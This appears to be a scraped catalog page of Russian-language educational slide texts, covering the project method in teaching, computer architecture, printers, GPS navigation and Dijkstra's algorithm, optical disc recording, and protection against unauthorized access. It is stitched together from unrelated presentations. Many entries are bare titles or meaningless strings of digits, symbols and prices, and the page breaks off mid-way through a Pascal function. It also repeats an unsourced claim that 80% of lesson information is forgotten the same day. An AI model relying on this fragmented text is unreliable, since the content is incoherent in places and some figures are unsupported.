1930-е годы метод проектов постановлением ЦК ВКП был признан вредным и ошибочным.
Наталья Викторовна
Матяш
ВиталийВладимирович
Рубцов
Виктор Дмитриевич
 Симоненко
В настоящее время метод проектов вновь возрождается на новой научно-методической основе.
Метод проектов – педагогическая технология, ориентированная на применение уже имеющихся знаний  и приобретение новых, активное включение учащегося в создание тех или иных проектов дает ему возможность осваивать новые способы человеческой деятельности.
Метод проектов реализуется за счет создания проектов
Проект - (от лат. рrojectus, буквально - брошенный вперед) – это самостоятельная творческая завершенная работа, выполняемая под руководством учителя.

    поисковый (поисковая деятельность);
    исследовательский (исследовательская деятельность);
    творческий (творческая деятельность);
    игровой (ролевая деятельность);
    практико-ориентированный (прикладная деятельность);
    ориентированный (ознакомительно-ориентированная деятельность).
Учебные проекты по характеру доминирующей в проекте деятельности:

Учебные проекты по количеству участников
личностные
парные
групповые.
Учебные проекты по характеру контактов между участниками
внутриклассными
внутришкольными
региональными
межрегиональными
международными.
Как же происходит работа над проектом?
сначала  даются базовые теоретические знания, которые нацелены на всеобщее понимание
затем мы переходим к практическим занятиям, содержание которых соответствует итоговой системе знаний и умений учащихся по базовому курсу информатика
после этого переходим к выполнению проектов, направленных на применение полученных знаний.
Применение навыков полученных при изучении графического редактора
Применение навыков полученых при изучении графического редактора
Применение навыков полученных при изучении текстового  редактора
Применение навыков полученных при изучении текстового  редактора и Power Point
Применение навыков полученных при изучении текстового  редактора и Power Point
Применение  метода проектов на уроках информатики позволяет решить ряд задач:
повышение личной уверенности  каждого участника проектной деятельности, его самореализации и рефлексии.
развитие осознания значимости коллективной работы, сотрудничества  для получения результатов  процесса выполнения творческих заданий.
развитие исследовательских умений.
формирование в сознании школьника информационной картины мира.
контроль знаний и умений по пройденному материалу
умение наглядно представлять имеющийся материал
умение слушать и уважать мнения учащихся
80% информации, которую слышит ученик на уроке, забывается в тот же день, если ученик самостоятельно над ней не поработал
20% сохраняется в памяти несколько дольше, в зависимости от уровня ее актуальности для учащегося.
Применение проектной деятельности на уроках позволяет учащимся полноценно осмыслить и усвоить учебный материал, формирует самостоятельность и инициативность учащихся
Проектную деятельность, пожалуй, можно рассматривать как один из немногих видов школьной работы, позволяющей преобразовать знания учащихся в реальный жизненный и даже житейский опыт учащихся.


title: Презентация на тему: Принципы работы компьютера и архитектура ЭВМ. Виды и характеристики машинных носителей информации. Технические средства обработки информации

text:
ЛЕКЦИЯ 2 ТЕМА: Принципы работы компьютера и архитектура ЭВМ. Виды и характеристики машинных носителей информации. Технические средства обработки информации
ИНФОРМАТИКА ДЛЯ НАПРАВЛЕНИЯ 081100.62
ОСНОВНЫЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРА
АРХИТЕКТУРА ЭВМ
Обобщенная структурная схема ЭВМ
Организация оперативной памяти ЭВМ
Внешние устройства ввода-вывода и хранения данных подключаются к ЭВМ через адаптеры (или контроллеры)
Выполнение команд программы процессором
В общем случае формат машинной команды состоит из двух частей. Одна часть содержит код операции, которую команда должна выполнить. Другая часть - адресная, содержащая адреса оперативной памяти операндов, над которыми эта операция должна быть выполнена и по какому адресу должен быть помещен результат выполнения команды.

Выполнение команд программы процессором

Носители информации
Носители информации
Дискета - портативный магнитный носитель информации, используемый для многократной записи и хранения данных сравнительно небольшого объема. Запись и считывание дискет осуществляется с помощью специального устройства - дисковода.
Компакт-диск - оптический носитель информации в виде диска с отверстием в центре, информация с которого считывается с помощью лазера. Изначально компакт-диск был создан для цифрового хранения аудио, однако в настоящее время широко используется как устройство хранения данных широкого назначения.
Преимуществом флэш-памяти над жёсткими дисками, CD-ROM-ами, DVD
Классификация технических средств работы с информацией
СПАСИБО ЗА ВНИМАНИЕ!


title: Презентация на тему: Принтер для печати пластиковых карт. Обзор модельного ряда

text:
P110i  & P120i
P330i  & P430i
P630i & P640i
P110i
P120i
ZEBRA P110i/ P120i
ZEBRA P110i/ P120i
ZEBRA P110i/ P120i
P110i
P120i
ZEBRA P110i/ P120i
P110i
P120i
ZEBRA P110i/ P120i
ZEBRA P110i/ P120i
P110i
EURO 1601.60
P120i
EURO 2191.9
P330i
P430i
ZEBRA P330i/ P430i
ZEBRA P330i/ P430i
ZEBRA P330i/ P430i
P330i
P430i
ZEBRA P330i/ P430i
P330i
EURO 2008.86
P430i
EURO 2990.5
56,7 EURO
113.4 EURO
P110i/120i
P330i/P430i
P630i/P640i
P630i/P640i


Презентация на тему: Принципы разработки и создания тестовых заданий


Презентация на тему: Принтеры 10 класс


title: Презентация на тему: Принтер

text:
900igr.net
12 ppm
1
!
2
3
4
5
?
.
6


title: Презентация на тему: Принтеры

text:
http://www.sibmen.ru/d/printer/informatciya-o-printerah.shtml
http://www.erudition.ru/referat/ref/id.53540_1.html
http://images.yandex.ru/yandsearch?text


Презентация на тему: Принтер, его устройство и работа


title: Презентация на тему: Принтер

text:
2
1
3
1
5
4
2
3
4
3
2
1
4
3
2
1
 1
2
3
4
+
+
_
_
1
2
3
5
4
3
1
2
4
3
1
4
3
1
2
4
1
3
2
2
1
3
1
3
2
4
6
5
7
1
3
2
4
6
5
7
5
4
3
2
1
5
4
3
2
1


Презентация на тему: Принтеры


title: Презентация на тему: Принтеры-2

text:
2
1
3
1
5
4
2
3
4
3
2
1
4
3
2
1
 1
2
3
4
+
+
_
_
1
2
3
5
4
3
1
2
4
3
1
4
3
1
2
4
1
3
2
2
1
3


title: Презентация на тему: Принтеры


Презентация на тему: Призначення, можливості і класифікація систем обробки текстів


title: Презентация на тему: Принципы работы современных устройств навигации. Решение задачи о кратчайшем пути

text:
Принципы работы современных устройств навигации.
Решение задачи о кратчайшем пути.

Урок разработала учитель информатики МОБУ Лицея № 95
Мусаева Н.Г.
Сочи, 2012 г.

Карта урока

Цель и задачи урока:
 Развитие познавательных интересов;
Формирование у учащихся интереса к современным информационным устройствам, изучение принципа работы GPS-навигатора;
 Изучение нового материала, расширение знаний в области MS Excel;
Построение и решение задачи о кратчайшем пути в графе методом линейного  программирования;
Воспитание информационной культуры учащихся, расширение знаний в области информационных технологий;
Расширение знаний по теме, использование материала ЕГЭ.

Карта урока

1. С древнейших времен, человечество старается найти ответы на два вопроса: «Где Я?» и «Куда мы идем?». Для того, что бы ответить на эти вопросы мы, люди, придумали массу способов ориентирования. Какие?
2. Зачем понадобились человечеству спутники и как они работают?
3. Что такое навигатор и каков принцип его работы?
4. Как можно определить кратчайший путь из одного пункта в другой?
Вопросы  урока:

Карта урока

Карта  урока:
Алгоритм Дейстры
1959г.
Решение задачи о кратчайшем пути
Домашнее задание

Орбиты спутников системы GPS. Пример видимости спутников из одной из точек на поверхности Земли. Visible sat- число спутников, видимых над горизонтом наблюдателя в идеальных условиях (чистое поле).
Для определения своей позиции GPS устройство использует, по меньшей мере, четыре различных спутника.
Спутниковые системы
Карта урока

Российские системы навигации
Карта урока

Компоненты системы GPS мониторинга
автомобильного транспорта

Служба наблюдения –это рабочие места диспетчеров и администраторов системы контроля транспорта.

Система глобального спутникового позиционирования (GPS) и глобальная  навигационная спутниковая система (ГЛОНАСС)
Служба экстренного реагирования и контроля

Система сотовой мобильной связи стандарта GSM

Подвижный сегмент (бортовое оборудование GPS системы).
ВЫБЕРИТЕ
СЕГМЕНТ
Карта урока

	С помощью векторной карты, навигатор способен учитывать ориентацию и положение автомобиля в данный момент времени.	Даны две точки: начало пути и пункт назначения. Весь этот путь отображается большим количеством векторов, начало которых совпадает с окончанием предыдущего вектора.
Ответьте на вопрос:
По какому принципу работают системы навигации?

Карта урока

Современные  устройства навигации
Garmin GPSMAP 60 – боевые навигаторы
Prology iMap-505A - портативный навигатор
Lexand – портативный навигатор
Garmin GPSMAP 296 – авиационный навигатор
Garmin Edge 705 – велосипедный навигатор
Портативные навигаторы – отличаются малыми габаритами и легким весом. Используются как водителями автомобилей, так и туристами и всеми, кто совершает походы или прогулки, проходит незнакомыми маршрутами.
Морские навигаторы – эти приборы отличаются наличием эхолота
Авиационные навигаторы оснащены ландшафтными картами с другими отмеченными точками и функциями, а также высотомером.
Карта урока

Lowrance – морской навиг
Граф – это совокупность непустого
     множества вершин и множества пар
     вершин (связей между вершинами).
     Связи называют ребрами или дугами.
Ориентированный граф  G = (V, Е) состоит
     из множества вершин V и множества дуг Е.
     Дуга представима в виде упорядоченной
     пары вершин (v, w), где v - начало,
                                 w — конец дуги.
			      Дугу (v, w) часто записывают
			            как  v → w.

Запомни определения:

Вершины

Рёбра
Демонстрация
Неориентированный граф
Ориентированный граф
Дуга (1,3)

Начало дуги
(1,3)

Конец дуги (1,3)

Карта урока

алгоритм на графах, изобретённый нидерландским ученым Эдсгером Вибе Дейкстрой в 1959 году. Находит кратчайшее расстояние от одной из вершин графа до всех остальных.

	Каждой вершине из  множества V сопоставим метку — минимальное известное расстояние от этой вершины до вершины а. Алгоритм работает пошагово — на каждом шаге он «посещает» одну вершину и пытается уменьшать метки. Работа алгоритма завершается, когда все вершины посещены.
Алгоритм Дейкстры:
Карта урока

+   Алгоритм Дейкстры используется для определения оптимального пути между двумя графами на карте. Навигатор, при введении начальной и конечной точки маршрута изучает расположение и длины граф, реорганизует все графы воедино и пытается определить все объекты, которые наиболее приближены к точке назначения.
     Единственный минус такого алгоритма состоит в том, что он не учитывает важности того или иного объекта, он считает, что все точки интереса одинаково важны, а ведь на самом деле, чем ближе объект к цели, тем он важнее или то, что по грунтовой дороге ехать труднее, чем по асфальтной трассе.
Карта урока

Алгоритм Дейкстры:
	Дана сеть автомобильных дорог центрального района города Сочи. Необходимо найти кратчайшие пути от въезда в город ( со стороны Туапсе) до выезда (на Адлер), чтобы быстрее добраться до Красной поляны.
Постановка задачи:
Карта урока

Информационная модель задачи:
Представим сеть дорог в виде графа,
вершины – пересечения дорог, длина дуги – длина дороги (км).
Пренебрегаем наличием мостов.
Возможна погрешность при измерении и схематичном представлении дорог.

Карта урока

Математическая модель задачи:
	Для графа, представленного на рисунке найти кратчайшее расстояние от вершины V1 до вершины V8:
Карта урока

Математическая модель:

Карта урока

Компьютерная модель
	в формате Excel:
Карта урока

Занесем полученные значения в электронную таблицу:
Карта урока

Используем надстройку «Поиск решения» для ввода данных:
Карта урока

Результат работы программы:
Решение: X1,2=1,
                X2,3=1,
                X3,8=1.
Карта урока

      Кратчайший путь включает ребра: (V1-V2); (V2-V3);(V3-V8). Длина пути составляет 8 км.
1
2
3
4
5
6
7
8

3
1
4
Анализ результатов:
Донская
Гагарина
Орджоникидзе
Карта урока

   Вернемся к вопросам, заданным в начале урока и постараемся ответить на них.

Рефлексия
Карта урока

Изучить материалы конспекта.
Построить математическую модель задачи:

Решить задачу средствами MS Excel.
Проанализировать результаты.

	Дана сеть автомобильных дорог Лазаревского района города Сочи. Ветеран войны решил проехать от дома ветеранов по ул. Калараша до площади кинотеатра «Восход». Каким маршрутом ему лучше ехать, чтобы путь был минимальным?
Домашнее задание:
Карта урока

Решить задачу:
           В таблице приведена стоимость перевозок между соседними железнодорожными станциями. Укажите схему, соответствующую таблице.
1
2
3
Проверь себя
Дополнительный материал
Карта урока

Спасибо за внимание!
Карта урока


title: Презентация на тему: Признаки и действия оъекта и его составных частей

text:
11
14
15
16
17

19

20

20


title: Презентация на тему: «ПРИНЦИПЫ ПОСТРОЕНИЯ ДИАГРАММ В MS EXCEL 2010»

text:
1
2
3

2000
2002
2003
2004
2005
2006
2007
2008
2012
146,6
145,3
144,6
143,8
143,1
142,5
142,1
141,9
143,18
126,8
127,4
127,7
127,8
127,8
127,8
127,8
127,7
127,368
1016
1051
1068
1085
1101
1118
1134
1150
1227,15
1263
1280
1288
1296
1304
1311
1325
1325
1354,79
171,3
176,3
178,7
181,1
183,4
185,6
187,6
192
199,321
282,2
287,9
290,4
293,2
295,9
298,8
301,6
304,1
314,705
.


title: Презентация на тему: "Принтеры".

text:
«Принтеры»
Какие бывают принтеры?
Какие принтеры являются лидерами?
Принцип их работы.
Почему лидерами являются именно они: струйный и лазерный принтеры?
О чем же пойдет речь в моей презентации?
1. Какие бывают принтеры?
Литерные.
Матричные.
Струйные.
Сублимационные.
Фотонные.
Лазерные.
Термопринтеры.
Твердокрасочные
3D – принтеры.

2. Лидеры среди принтеров.
Струйный.

Лазерный.
3. Принцип их работы. (Струйный).
Печатающая головка движется относительно неподвижной бумаги, не касаясь её.
На печатающей головке струйного принтера вместо игл имеются специальные отверстия – сопла, через которые чернила разбрызгиваются на бумагу.
Капля красителя может выстреливаться из сопла либо за счёт пьезоэффекта, либо за счёт давления пузырьков пара, возникающего при нагревании чернил.
Различные модели принтеров имеют от 12 до 256 сопел. Размер каждого сопла существенно меньше диаметра иглы, что обеспечивает большую чёткость изображения.
3. Принцип их работы. (Лазерный).
В лазерном принтере изображение строится на вращающемся барабане при помощи лазерного луча. Затем на барабан наносится тонер – красящая пыль, изображение переносится на бумагу и закрепляется нагретым роликом.
4. Почему лидерами являются именно они: струйный и лазерный принтеры?
В отличии от матричных и сублимационных принтеров которые имеют: среднее качество печати, высокий уровень шума и очень высокую цену расходных материалов, наши лидеры напротив  имеют: хорошее качество печати, низкий уровень шума или полное его отсутствие  и низкую цену, а еще обладают автоматической подачей бумаги. За счет этих существенных отличий струйный и лазерный принтеры остаются лидерами в своей «сфере»…
Спасибо за просмотр!
;)


title: Презентация на тему: Принципы записи оптических дисков

text:
Принцип записи оптических дисков
Выполнила
студентка группы И-58
Глушкова Наталья

 Оптический диск
   Оптический диск — собирательное название для носителей информации, выполненных в виде дисков, чтение с которых ведётся с помощью оптического излучения.
История
   Первые оптические диски были разработаны на рубеже 70-80-х годов совместными усилиями компаний Sony и Phillips.
История
Структура CD-диска
  - Диск обычно плоский, его основа сделана из поликарбоната, на который нанесён специальный слой, который и служит для хранения информации.
  - Диаметр компакт-диска 120 мм.
  - Толщина диска 1,2 мм.
Однократно-записываемые диски (CD-R).
   Однократно-записываемый диск состоит из активного, отражающего и защитного слоев, которые последовательно наносятся на основу из поликарбоната.
Принцип записи CD-R
   Во время записи мощный лазерный луч нагревает небольшие участки активного слоя. Под воздействием высокой температуры меняются свойства вещества регистрирующего слоя в месте нагрева, в результате  он перестает пропускать свет.
Принцип записи CD-R
   Восстановить прозрачность веществ, используемых в качестве активного слоя в дисках CD-R, невозможно. Повредить запись, нанесенную на активный слой, можно только одним способом - сделать прозрачные участки непрозрачными.
Многократно-записываемые диски (CD-RW)
   Отличие таких дисков от CD-R заключается в устройстве регистрирующего слоя. Промежуточный слой специального органического материала может пребывать либо в аморфном, либо в кристаллическом виде.
CD-RW
   Аморфные вещества имеют особенность  кристаллизоваться со временем. Как бы мы ни хранили CD-RW, через несколько лет запись будет безвозвратно утеряна. К тому же такие диски легко могут быть стерты простым нагреванием.
Структура DVD дисков
   Принцип записи DVD-диска не сильно отличается от принципа записи CD-диска. Основой записи и хранения данных на дисках DVD–RAM и DVD-RW является технология изменения фазового состояния вещества.  Послойная структура одной половины диска показана на рисунке.
Принцип записи на DVD-диск
    Запись аморфных областей показана на этом графике. Короткий лазерный импульс высокой мощности расплавляет записывающий материал. Затем следует охлаждение ниже температуры кристаллизации. Результат охлаждения - предотвращение образования центров кристаллизации. Таким образом, роста кристаллической фазы не происходит, и вещество остается в аморфном состоянии.

Стирание с DVD-диска
    Для стирания надо вернуть вещество в кристаллическое состояние. Опять же с помощью лазера аморфное вещество нагревают до температуры Т. Нагрев (а точнее, отжиг) продолжается в течение времени, достаточного для восстановления кристаллического состояния вещества. Это время должно быть больше, чем так называемое время кристаллизации.

Запись DVD-дисков
    При записи дисков используется многоимпульсная стратегия записи. Каждая записываемая метка формируется посредством мощных лазерных импульсов.. После каждого импульса расплавляемый материал охлаждается, формируя область с аморфной фазой.

Запись дисков в домашних условиях
    Для записи дисков в домашних условиях необходимо иметь не только записывающий CD-привод, но и специальное программное обеспечение.

Запись диска в домашних условиях
   Процесс записи одной сессии представляет собой единую операцию, которая не может быть прервана, иначе диск будет испорчен.

Запись диска в домашних условиях
   Перед началом записи необходимо сформировать полный список входящих в сессию файлов; последующее добавление файлов на диск возможно лишь в виде дополнительных сессий.
Запись диска в домашних условиях
   Приводы CD-ROM, не поддерживающие многосессионную запись, считывают с диска только первую TOC - соответственно, с их помощью можно считывать лишь файлы первой сессии.
Технология LabelFlash
   Labelflash — технология, позволяющая наносить свои рисунки на записываемые DVD. Была представлена фирмой NEC в декабре 2005.

Принцип работы LabelFlash
   Для создания рисунка используется краситель иного типа, обеспечивающий большую контрастность изображения.
Выводы
   Безусловно, оптические системы многоразовой и одноразовой записи - перспективные и бурно развивающиеся устройства, которые могут решать назревающие проблемы с большими объемами информации. Но их дальнейшее развитие зависит не  только от технологий записи, но и от прогресса в области  других носителей информации. И если не будет изобретен более эффективный способ хранения информации, оптические системы многоразовой записи возможно займут доминирующие роли.


title: Презентация на тему: ПРИНТЕРЫ

text:
ПРИНТЕРЫ
 Принтер – это печатающее устройство, при помощи которого можно получить «твёрдую» копию документа на бумаге, картоне, прозрачной плёнке или другом носителе информации
Печатающие устройства подключаются к компьютеру с помощью кабеля, один конец которого вставляется своим разъёмом в гнездо печатающего устройства, а другим – в порт компьютера.
Классификация принтеров по способу формирования изображения
Классификация принтеров по способу печати
Классификация принтеров по количеству цветов
Классификация принтеров по технологии печати
Матричные
Струйные
Лазерные
LED-принтеры (светодиодные)
Принтеры с изменением фазы красителя
Принтеры с термосублимацией
Принтеры с термопереносом восковой мастики
Основные пользовательские характеристики:
Разрешение – величина самых мелких деталей изображения, передаваемых при печати без искажений. Измеряется в dpi (dot per inch) – числе наносимых отдельных точек красителя на дюйм бумаги.
Количество цветов.
Быстродействие – количество знаков или страниц, распечатываемых за секунду или минуту. Измеряется для матричных принтеров в cps (character per second) – числе символов, печатаемых в секунду, для струйных и лазерных принтеров в ppm (pages per minute) – числе страниц, печатаемых в минуту.
МАТРИЧНЫЕ
ПРИНТЕРЫ
ПРИНЦИП РАБОТЫ
Характеристики матричных принтеров
ДОСТОИНСТВА и НЕДОСТАТКИ матричных принтеров
СТРУЙНЫЕ
ПРИНТЕРЫ
ПРИНЦИП РАБОТЫ
Характеристики струйных принтеров
ЛАЗЕРНЫЕ
ПРИНТЕРЫ
ПРИНЦИП РАБОТЫ
Характеристики лазерных принтеров
Автоматическая подача бумаги.
Высокая цена приобретения.
Хорошее качество печати.
Низкая цена печати одной страницы.
Невысокая цена.
Безупречное качество вывода текста.
Низкий уровень или отсутствие шума.
Высокое быстродействие.
Дорогие расходные материалы.
Требовательность к качеству бумаги.
Чернила при соприкосновении бумаги с водой могут растекаться
ДОСТОИНСТВА и НЕДОСТАТКИ СТРУЙНЫХ и ЛАЗЕРНЫХ принтеров


title: Презентация на тему: ПРИНТЕРЫ

text:
ПРИНТЕРЫ
Prezentacii.com
 Принтер – это печатающее устройство, при помощи которого можно получить «твёрдую» копию документа на бумаге, картоне, прозрачной плёнке или другом носителе информации
Печатающие устройства подключаются к компьютеру с помощью кабеля, один конец которого вставляется своим разъёмом в гнездо печатающего устройства, а другим – в порт компьютера.
Классификация принтеров по способу формирования изображения
Классификация принтеров по способу печати
Классификация принтеров по количеству цветов
Классификация принтеров по технологии печати
Матричные
Струйные
Лазерные
LED-принтеры (светодиодные)
Принтеры с изменением фазы красителя
Принтеры с термосублимацией
Принтеры с термопереносом восковой мастики
Основные пользовательские характеристики:
Разрешение – величина самых мелких деталей изображения, передаваемых при печати без искажений. Измеряется в dpi (dot per inch) – числе наносимых отдельных точек красителя на дюйм бумаги.
Количество цветов.
Быстродействие – количество знаков или страниц, распечатываемых за секунду или минуту. Измеряется для матричных принтеров в cps (character per second) – числе символов, печатаемых в секунду, для струйных и лазерных принтеров в ppm (pages per minute) – числе страниц, печатаемых в минуту.
МАТРИЧНЫЕ
ПРИНТЕРЫ
ПРИНЦИП РАБОТЫ
Характеристики матричных принтеров
ДОСТОИНСТВА и НЕДОСТАТКИ матричных принтеров
СТРУЙНЫЕ
ПРИНТЕРЫ
ПРИНЦИП РАБОТЫ
Характеристики струйных принтеров
ЛАЗЕРНЫЕ
ПРИНТЕРЫ
ПРИНЦИП РАБОТЫ
Характеристики лазерных принтеров
Автоматическая подача бумаги.
Высокая цена приобретения.
Хорошее качество печати.
Низкая цена печати одной страницы.
Невысокая цена.
Безупречное качество вывода текста.
Низкий уровень или отсутствие шума.
Высокое быстродействие.
Дорогие расходные материалы.
Требовательность к качеству бумаги.
Чернила при соприкосновении бумаги с водой могут растекаться
ДОСТОИНСТВА и НЕДОСТАТКИ СТРУЙНЫХ и ЛАЗЕРНЫХ принтеров


Презентация на тему: Проблемы безопасности детей и подростков в сети Интернет


Презентация на тему: Принтеры (история, принцип работы, характеристика)


title: Презентация на тему: Проблема несанкционированного доступа

text:
Проблема несанкционированного доступа
Составил ученик МАОУ «СОШ №54»
г.Новоуральска
 Виталий Гайнанов
	НСД злоумышленника на компьютер опасен не только возможностью прочтения и/или модификации обрабатываемых электронных документов, но и возможностью внедрения злоумышленником управляемой программной закладки, которая позволит ему предпринимать следующие действия:

Несанкционированный доступ (НСД)
Читать и/или модифицировать электронные документы, которые в дальнейшем будут храниться или редактироваться на компьютере.
Осуществлять перехват различной ключевой информации, используемой для защиты электронных документов.
Использовать захваченный компьютер в качестве плацдарма для захвата других компьютеров локальной сети.
Уничтожить хранящуюся на компьютере информацию или вывести компьютер из строя путем запуска вредоносного программного обеспечения.

Действия программы:
	Защита компьютеров от НСД является одной из основных проблем защиты информации, поэтому в большинство операционных систем и популярных пакетов программ встроены различные подсистемы защиты от НСД.
	Например, выполнение аутентификации в пользователей при входе в операционные системы семейства Windows. Однако, не вызывает сомнений тот факт, что для серьезной защиты от НСД встроенных средств операционных систем недостаточно.
	К сожалению, реализация подсистем защиты большинства операционных систем достаточно часто вызывает нарекания из-за регулярно обнаруживаемых уязвимостей, позволяющих получить доступ к защищаемым объектам в обход правил разграничения доступа. Выпускаемые же производителями программного обеспечения пакеты обновлений и исправлений объективно несколько отстают от информации об обнаруживаемых уязвимостях.
	 Поэтому в дополнение к стандартным средствам защиты необходимо использование специальных средств ограничения или разграничения доступа.Данные средства можно разделить на две категории:

Средства ограничения физического доступа.
Средства защиты от несанкционированного доступа по сети.
Защита компьютеров от НСД
Наиболее надежное решение проблемы ограничения физического доступа к компьютеру – использование аппаратных средств защиты информации от НСД, выполняющихся до загрузки операционной системы. Средства защиты данной категории называются «электронными замками».Теоретически, любое программное средство контроля доступа может подвергнуться воздействию злоумышленника с целью искажения алгоритма работы такого средства и последующего получения доступа к системе.
Средства ограничения физического доступа
	Наиболее действенными методами защиты от несанкционированного доступа по компьютерным сетям являются виртуальные частные сети (VPN – Virtual Private Network) и межсетевое экранирование.

Средства защиты от НСД по сети
	Виртуальные частные сети обеспечивают автоматическую защиту целостности и конфиденциальности сообщений, передаваемых через различные сети общего пользования, прежде всего, через Интернет. Фактически, VPN – это совокупность сетей, на внешнем периметре которых установлены VPN-агенты. VPN-агент – это программа (или программно-аппаратный комплекс), собственно обеспечивающая защиту передаваемой информации путем выполнения описанных ниже операций.Перед отправкой в сеть любого IP-пакета VPN-агент производит следующее:
Виртуальные частные сети
Из заголовка IP-пакета выделяется информация о его адресате. Согласно этой информации на основе политики безопасности данного VPN-агента выбираются алгоритмы защиты и криптографические ключи, с помощью которых будет защищен данный пакет. В том случае, если политикой безопасности VPN-агента не предусмотрена отправка IP-пакета данному адресату или IP-пакета с данными характеристиками, отправка IP-пакета блокируется.

Перед отправкой в сеть любого IP-пакета VPN-агент производит следующее:
С помощью выбранного алгоритма защиты целостности формируется и добавляется в IP-пакет электронная цифровая подпись (ЭЦП), имитоприставка или аналогичная контрольная сумма.
С помощью выбранного алгоритма шифрования производится зашифрование IP-пакета.

Перед отправкой в сеть любого IP-пакета VPN-агент производит следующее:
С помощью установленного алгоритма инкапсуляции пакетов зашифрованный IP-пакет помещается в готовый для передачи IP-пакет, заголовок которого вместо исходной информации об адресате и отправителе содержит соответственно информацию о VPN-агенте адресата и VPN-агенте отправителя. Т.е. выполняется трансляция сетевых адресов.

Перед отправкой в сеть любого IP-пакета VPN-агент производит следующее:
Пакет отправляется VPN-агенту адресата. При необходимости, производится его разбиение и поочередная отправка результирующих пакетов.
Из заголовка IP-пакета выделяется информация о его отправителе. В том случае, если отправитель не входит в число разрешенных (согласно политике безопасности) или неизвестен (например, при приеме пакета с намеренно или случайно поврежденным заголовком), пакет не обрабатывается и отбрасывается.

Перед отправкой в сеть любого IP-пакета VPN-агент производит следующее:
Согласно политике безопасности выбираются алгоритмы защиты данного пакета и ключи, с помощью которых будет выполнено расшифрование пакета и проверка его целостности.
Выделяется информационная (инкапсулированная) часть пакета и производится ее расшифрование.

Перед отправкой в сеть любого IP-пакета VPN-агент производит следующее:
Производится контроль целостности пакета на основе выбранного алгоритма. В случае обнаружения нарушения целостности пакет отбрасывается.
Пакет отправляется адресату (по внутренней сети) согласно информации, находящейся в его оригинальном заголовке.

Перед отправкой в сеть любого IP-пакета VPN-агент производит следующее:
	Основное правило построения VPN – связь между защищенной ЛВС и открытой сетью должна осуществляться только через VPN-агенты. Категорически не должно быть каких-либо способов связи, минующих защитный барьер в виде VPN-агента.
Т.е. должен быть определен защищаемый периметр, связь с которым может осуществляться только через соответствующее средство защиты.
Основное правило построения VPN
	Политика безопасности является набором правил, согласно которым устанавливаются защищенные каналы связи между абонентами VPN. Такие каналы обычно называют туннелями, аналогия с которыми просматривается в следующем:
Вся передаваемая в рамках одного туннеля информация защищена как от несанкционированного просмотра, так и от модификации.
Инкапсуляция IP-пакетов позволяет добиться сокрытия топологии внутренней ЛВС: из Интернет обмен информации между двумя защищенными ЛВС виден как обмен информацией только между их VPN-агентами, поскольку все внутренние IP-адреса в передаваемых через Интернет IP-пакетах в этом случае не фигурируют.

Политика безопасности
	Правила создания туннелей формируются в зависимости от различных характеристик IP-пакетов, например, основной при построении большинства VPN протокол IPSec (Security Architecture for IP) устанавливает следующий набор входных данных, по которым выбираются параметры туннелирования и принимается решение при фильтрации конкретного IP-пакета:
IP-адрес источника. Это может быть не только одиночный IP-адрес, но и адрес подсети или диапазон адресов.
IP-адрес назначения. Также может быть диапазон адресов, указываемый явно, с помощью маски подсети или шаблона.
Идентификатор пользователя (отправителя или получателя).
Протокол транспортного уровня (TCP/UDP).
Номер порта, с которого или на который отправлен пакет.

Политика безопасности
	Электронный замок может быть разработан на базе аппаратного шифратора. В этом случае получается одно устройство, выполняющее функции шифрования, генерации случайных чисел и защиты от НСД. Такой шифратор способен быть центром безопасности всего компьютера, на его базе можно построить полнофункциональную систему криптографической защиты данных, обеспечивающую, например, следующие возможности:
Защита компьютера от физического доступа.
Защита компьютера от НСД по сети и организация VPN.
Шифрование файлов по требованию.
Автоматическое шифрование логических дисков компьютера.
Вычисление/проверка ЭЦП.
Защита сообщений электронной почты.

Комплексная защита
	Итак, пусть у Вас на компьютере есть очень личная информация, доступ к которой хотите иметь только Вы.
	Прежде чем рассматривать способы защиты информации от несанкционированного доступа, опишу вкратце стандартные рекомендации. Прежде всего, рекомендуется время от времени делать бэкап (резервное копирование) нужных Вам данных. Для этого можно использовать встроенную программу для резервного копирования от Microsoft. Или можно использовать программы сторонних производителей для резервного копирования, такие как Norton Ghost.
Методы защиты информации
Резервное копирование
Если же для нужных Вам данных не было сделано резервных копий, и они были удалены, то есть вероятность, что их можно восстановить. Для этого существуют специальные Программы. Для общей защиты компьютерной безопасности обязательно надо иметь на компьютере хороший антивирус, файервол и программы защиты от Ad/Spyware и регулярно устанавливать заплатки для Вашей операционной системы.

Запись и хранение важной информации на сменных носителях (дискеты, СD, DVD)
Плюсы:
Доступ к этой информации будете иметь только Вы (если, конечно, не допускать, чтобы эти сменные носители попали в чужие руки)
Минусы:
Сменные носители могут быть повреждены и можно потерять информацию.
Шифрование важных данных.
Рассмотрим два существующих способа шифрования: криптография и стеганография.

Способы защиты от несанкционированного доступа
Криптография – это кодирование информации с помощью какого-либо шифра. т.е превращение информации в нечто нераспознаваемое. В этом случае для получения доступа к информации нужен пароль, даже если сам способ шифрования известен и есть доступ к зашифрованной информации.

Криптография
Стеганография – это  скрытие самого факта наличия информации. Существуют алгоритмы, которые прячут информацию в файлы-контейнеры формата bmp, wav и некоторых других. 	Картинки и аудио файлы хорошо подходят для этих целей, т.к. они достаточно велики и в них можно спрятать определенное кол-во информации. Файл-контейнер (картинка или звук со встроенными данными) практически не отличается от оригинала ни по размеру, ни по внешнему виду/звучанию.

Стеганография
Презентация подготовлена для конкурса «Интернешка»http://interneshka.org/


Презентация на тему: Признаки объекта


Презентация на тему: Признаки объектов


Презентация на тему: Проблемы информатики


Презентация на тему: Примеры моделирования


Презентация на тему: Проблема интернет-зависимости


title: Презентация на тему: Проблемы безопасности протоколов TCP/IP

text: AntiSniff


Презентация на тему: ПРИМЕРЫ МОДЕЛИРОВАНИЯ


Презентация на тему: Проблемы мотивации учебной деятельности на уроках информатики. Уровневая дифференциация


title: Презентация на тему: Проблемы развития и освоения программной инженерии

text:
0,1

0,5 - 5

5 - 10

10 - 20


Презентация на тему: Процедуры и функции. Модули


title: Презентация на тему: Признаки объектов. Объекты с необычными признаками и действиями

text:
6
6
11
11
12
12
13
2
2
13
1
2
13
2
2
13
1
2


Презентация на тему: Проблема чести и бесчестия в романе Л.Н. Толстого «Война и мир»


title: Презентация на тему: Процедуры. Функции

text:
d
c
b
a
g
f
e
a
b
c
A
B
C
D
A
B
C
A
B
C


Презентация на тему: Проценты вокруг нас!


title: Презентация на тему: Процедуры и функции на языке Pascal

text:
4
3
2
1
i= 2, n
Z:=a[1]
Max(z, a[i],z)
program Function_of_user;
uses Crt;
var AB,BC,CD,DA,AC,S1,S2,S:real;
Function f(a,b,c:real):real;
         var p:real;
         begin
              p:=(a+b+c)/2;
